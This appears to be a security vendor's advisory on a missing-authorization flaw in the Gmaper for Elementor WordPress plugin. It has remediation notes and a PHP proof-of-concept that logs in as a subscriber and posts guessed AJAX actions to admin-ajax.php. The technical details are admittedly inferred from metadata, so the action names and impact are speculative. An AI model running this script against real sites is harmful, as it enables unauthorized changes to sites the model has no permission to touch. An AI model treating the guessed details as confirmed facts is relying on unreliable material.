Atomic Edge analysis of CVE-2025-66158 (metadata-based):
This vulnerability is a missing authorization flaw in the Gmaper for Elementor WordPress plugin versions up to and including 1.0.9. The vulnerability allows authenticated attackers with subscriber-level permissions to perform unauthorized actions. The CVSS 4.3 score indicates a moderate impact integrity violation with low attack complexity.
Atomic Edge research identifies the root cause as a missing capability check on a plugin function. The CWE-862 classification confirms the plugin fails to verify user permissions before executing a privileged action. Without access to source code, this conclusion is inferred from the CWE description and vulnerability disclosure. The vulnerable function likely handles AJAX requests or admin operations without validating the current user’s capabilities.
Exploitation requires an authenticated WordPress session with subscriber-level access. Attackers would target the plugin’s AJAX endpoint at /wp-admin/admin-ajax.php. The action parameter would contain a plugin-specific hook name, possibly prefixed with ‘gmaper_elementor_’ or similar. Attackers send POST requests with parameters that trigger the unauthorized action, such as modifying plugin settings or accessing restricted data.
Remediation requires adding proper capability checks to the vulnerable function. Developers should implement current_user_can() checks before executing privileged operations. WordPress best practices mandate checking for ‘manage_options’ or plugin-specific capabilities. The fix should also include nonce verification to prevent CSRF attacks, though the primary issue is missing authorization.
The impact includes unauthorized modification of plugin functionality or settings. Attackers could alter map configurations, change display settings, or potentially access restricted geolocation data. While the vulnerability does not enable direct code execution or data extraction, it allows integrity violations that could affect website functionality and user experience.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-66158 - Gmaper for Elementor <= 1.0.9 - Missing Authorization
<?php
/*
* Proof of Concept for CVE-2025-66158
* This script demonstrates unauthorized action execution via missing capability check.
* Assumptions based on WordPress plugin patterns:
* 1. Plugin uses admin-ajax.php endpoint
* 2. Action parameter follows 'gmaper_elementor_' prefix pattern
* 3. No capability check on the handler function
* 4. Subscriber-level authentication is sufficient
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize cURL session for authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
// First, authenticate to WordPress
$login_url = 'https://example.com/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'https://example.com/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
// Check authentication success
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax.php') === false) {
echo "Authentication failed. Check credentials.n";
exit;
}
// Attempt unauthorized action - common plugin AJAX actions
$ajax_actions = array(
'gmaper_elementor_save_settings',
'gmaper_elementor_update_map',
'gmaper_elementor_process_data',
'gmaper_elementor_admin_action'
);
foreach ($ajax_actions as $action) {
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_data = array(
'action' => $action,
'data' => 'test_exploit_payload',
'nonce' => 'bypassed' // Nonce may be missing or not validated
);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$ajax_response = curl_exec($ch);
if ($ajax_response !== false && $ajax_response !== '0' && $ajax_response !== '-1') {
echo "Potential successful exploitation with action: $actionn";
echo "Response: $ajax_responsen";
break;
}
}
curl_close($ch);
?>
